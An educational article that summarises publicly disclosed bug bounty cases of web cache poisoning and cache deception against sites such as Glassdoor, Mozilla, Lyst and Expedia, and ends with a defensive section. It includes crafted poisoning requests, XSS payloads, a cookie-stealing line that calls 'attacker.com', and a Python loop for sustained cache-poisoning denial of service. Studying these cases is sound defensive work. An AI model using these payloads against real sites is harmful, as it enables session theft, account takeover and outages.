Cache Poisoning Case Studies Part 2: Multi-Bug Chains, Cloud Weaknesses & Framework-Level Exploits

Disclaimer

This article is for educational and defensive cyber security purposes.
All case studies here are sourced from publicly disclosed bug bounty reports or ethical research.
Never test cache poisoning on systems you do not own or have permission to assess.

Introduction

In Part 1, we explored foundational cache poisoning attacks.
Now, Part 2 dives into the advanced era: multi-layer poisoning, cloud platform quirks, multi-bug combinations, and framework-level vulnerabilities.

This phase of cache poisoning evolution demonstrates:

• How cloud storage misbehaves under unexpected headers
• How error pages, redirects, and parser confusion become attack vectors
• How CDNs and frameworks introducing “smart” optimizations actually increase attack surface
• How researchers chained two or more bugs (e.g., cookie reflection → cache poisoning → stored XSS)

These real-world incidents illustrate how attackers exploit edge cases, misconfigurations, desynchronization, and inconsistent normalization, turning seemingly small bugs into high-impact outcomes.

Case Study #9 - Glassdoor’s “Triple Threat” Bug Chain

Program: Glassdoor
Reporters: @bombon & @nokline
Impact: CSRF token leak, stored XSS, JS redirection
Nature: Multiple bugs chained across multiple reports

This case is famous for its multi-step compound exploitation, demonstrating how tiny inconsistencies combine into catastrophic results.

Vulnerability #1 - gdToken CSRF Token Leak

Glassdoor leaked gdToken (a CSRF token) into cache due to unkeyed custom headers.

GET /profile HTTP/1.1  
Host: www.glassdoor.com  
X-Custom-Header: poison

Response contained:

<input name="gdToken" value="user123_csrf_token">

This CSRF token was cached and then returned to other users, enabling cross-account attacks.

Vulnerability #2 - URL Parser Confusion → Stored XSS

URL parsing confusion between cache and origin enabled cookie reflection, header injection, and HTML/JS rendering inconsistencies.

GET /Job/../mz-survey/interview/collectQuestions_input.htm/ HTTP/1.1  
Host: glassdoor.com  
Cookie: tracking=<script>alert(1)</script>  
X-Forwarded-Host: glassdoor.com/<script>alert(1)</script>

This single crafted request triggered:

1. Cookie reflection
2. Header reflection
3. URL confusion
4. Cache storage of the result
5. Stored XSS across multiple endpoints

Vulnerability #3 - JavaScript Redirect Poison

Attackers redirected JavaScript files to attacker-controlled servers by poisoning redirects.

GET /test.js?cb=1 HTTP/2  
Host: design.glassdoor.com  
X-Forwarded-Host: youst.in

This caused /test.js to permanently redirect to attacker JS through cached responses.

Extracted Techniques

• Combine multiple weak signals for high-impact chains
• Cookie reflection + cache poisoning → stored XSS
• URL parser desync is extremely powerful
• JavaScript poisoning affects many pages at once

Case Study #10 - Mozilla’s 404 Error Cache Poison

Program: Mozilla
Bounty: $1,000
Impact: Wide DoS through cached error responses

Attack Vector

GET /en-US/firefox/ HTTP/1.1  
Host: www.mozilla.org  
X-Forwarded-Port: 99999

Response:

HTTP/1.1 404 Not Found  
Cache-Control: public, max-age=600

Mozilla served 404 errors to all users for 10 minutes.

Why It Mattered

• Error pages often cached
• Required only one request
• Could be repeated indefinitely
• Critical availability issue

Extracted Techniques

• Always test error responses (403, 404, 500)
• Port manipulation works surprisingly often
• Error poisoning is undervalued but impactful

Case Study #11 - Shopify’s Backslash/Forward Slash Cache DoS

Program: Shopify
Report: #1695604

Vulnerable Behavior

Cache normalized backslashes (\) → forward slashes (/), but the origin did not.

GET /admin\dashboard HTTP/1.1  
Host: shop.shopify.com

Cache key → /admin/dashboard
Origin path → /admin\dashboard → 404

This mismatch corrupted the cache for legitimate paths.

Extracted Techniques

• Test non-standard path characters
• Compare CDN vs origin handling
• Encoded forms often bypass filters (%5C, %2F, %2e)

Case Study #12 - Lyst’s Cache Deception Personal Data Leak

Program: Lyst
Report: #631589
Impact: Exposure of private PII data

Attack

GET /shop/trends/mens-dress-shoes/blahblah.css HTTP/1.1  
Host: www.lyst.com  
Cookie: session=victim_session_token

Response contained private PII:

<html>
  <div>Welcome, John Doe</div>
  <div>Email: john@example.com</div>
</html>

Cache saw .css → static file → cached it → served to everyone.

Extracted Techniques

• Cache deception beats cache poisoning for PII leaks
• Test dynamic endpoints disguised as static extensions
• .css, .js, .png, and .svg are high-value disguises

Case Study #13 - Expedia Cookie Reflection → Stored XSS

Program: Expedia Group (Abritel)
Impact: Stored XSS enabling account takeover

Attack Vector

GET /annonces/...php.js HTTP/1.1  
Host: www.abritel.fr  
Cookie: hav="; fetch('https://attacker.com/?c='+document.cookie); //

Response:

var hav=""; fetch('https://attacker.com/?c='+document.cookie); //"

Cached response propagated to all visitors.

Extracted Techniques

• Cookie reflection is deadly in JS contexts
• Sanitizing quotes (") is not enough - semicolons, angle brackets matter
• Reflected → cached → stored XSS chain

Case Study #14 - U.S. DoD Sustained Cache Poisoning DoS

Program: U.S. Department of Defense
Report: #1183263
Impact: Persistent application DoS
Severity: High

Automated DoS Script

import requests, time

target = "https://dod-target.mil/critical-page"

while True:
    requests.get(target, headers={
        "X-Forwarded-Host": "invalid.host",
        "X-Cache-Buster": str(time.time())
    })
    time.sleep(295)

This re-poisoned cache just before expiration.

Extracted Techniques

• Timing-based sustained poisoning
• Low bandwidth but high-effect attacks
• Government platforms reward DoS when technically justified

Case Study #15 - Acronis Cache Poison via Invalid Port Injection

Program: Acronis
Impact: Complete outage due to invalid port embedding

Attack

GET / HTTP/1.1  
Host: www.acronis.com  
X-Forwarded-Port: 0

Origin produced:

<script src="https://www.acronis.com:0/assets/app.js"></script>

Port 0 invalid → JS failed → entire site broken.

Extracted Techniques

• Try all invalid ports: 0, -1, 99999, hex, multi-values
• JS asset poisoning is extremely impactful
• Asset dependency mapping increases severity demonstration

Case Study #16 - Next.js RSC & SSR/SSG Cache Confusion

Program: Multiple programs (framework-wide)
Reporter: @zhero_web_sec
Impact: Six-figure earnings from scalable bugs

Vulnerability #1 - React Server Component Poison

GET / HTTP/1.1  
Host: nextjs-app.com  
X-Middleware-Prefetch: 1

Response:

{"type":"rsc","data":"..."}

RSC JSON cached → site served broken data to all users.

Vulnerability #2 - Accept-Encoding Cache Key Bypass

GET /products?_rsc=123 HTTP/1.1  
Host: target.com  
Accept-Encoding:

If Accept-Encoding wasn’t part of the cache key, SSR/SSG responses got mixed, breaking pages.

Extracted Techniques

• Framework-specific headers lead to novel attack surfaces
• Missing Accept-Encoding is a major cache key issue
• Template these findings to mass scan → high rewards

Case Study #17 - Apache Traffic Server Fragment-Based Cache Poison

Targets: Yahoo, Apple, many enterprise platforms
Reporter: Iustin Ladunca
Impact: XSS and normalization bypass at massive scale

Attack

GET /#/../?r=javascript:alert(1) HTTP/1.1  
Host: yahoo.com

Fragments (#) should never reach origin - but ATS forwarded them.

Origin normalized → XSS
Cache key ignored fragment → poisoning persisted

Extracted Techniques

• Test URL fragments in many encodings (#, %23, unicode)
• Proxy misbehavior can affect thousands of companies
• Fragment → normalization → stored XSS chain

Defensive Perspective

Preventing complex cache poisoning attacks requires aligned defenses across:

Application Layer

• Validate input strictly
• Disable legacy and unsafe headers
• Never reflect cookies or user input in cached responses

CDN Layer

• Normalize headers consistently
• Disable method overrides
• Block caching of redirected/error responses

Framework Layer

• Review framework caching behavior
• Disable experimental/pre-release features in production
• Include differential-render headers (Accept-Encoding, User-Agent) in cache keys

Real-World Impact Summary (Part 2)

Final Thoughts on Part 2

Part 2 illustrates how cache poisoning evolved from “simple header tricks” to complex, multi-layer, multi-framework exploitation chains. These vulnerabilities often involve:

• Cloud service quirks
• Framework-level features
• Header-handling inconsistencies
• Parser desynchronization
• Cross-layer behaviors

Part 3 will highlight the highest-impact cases, including OAuth poisoning, API gateway escalation, financial system cache bugs, and supply-chain scale vulnerabilities - plus the advanced methodology framework used by elite researchers.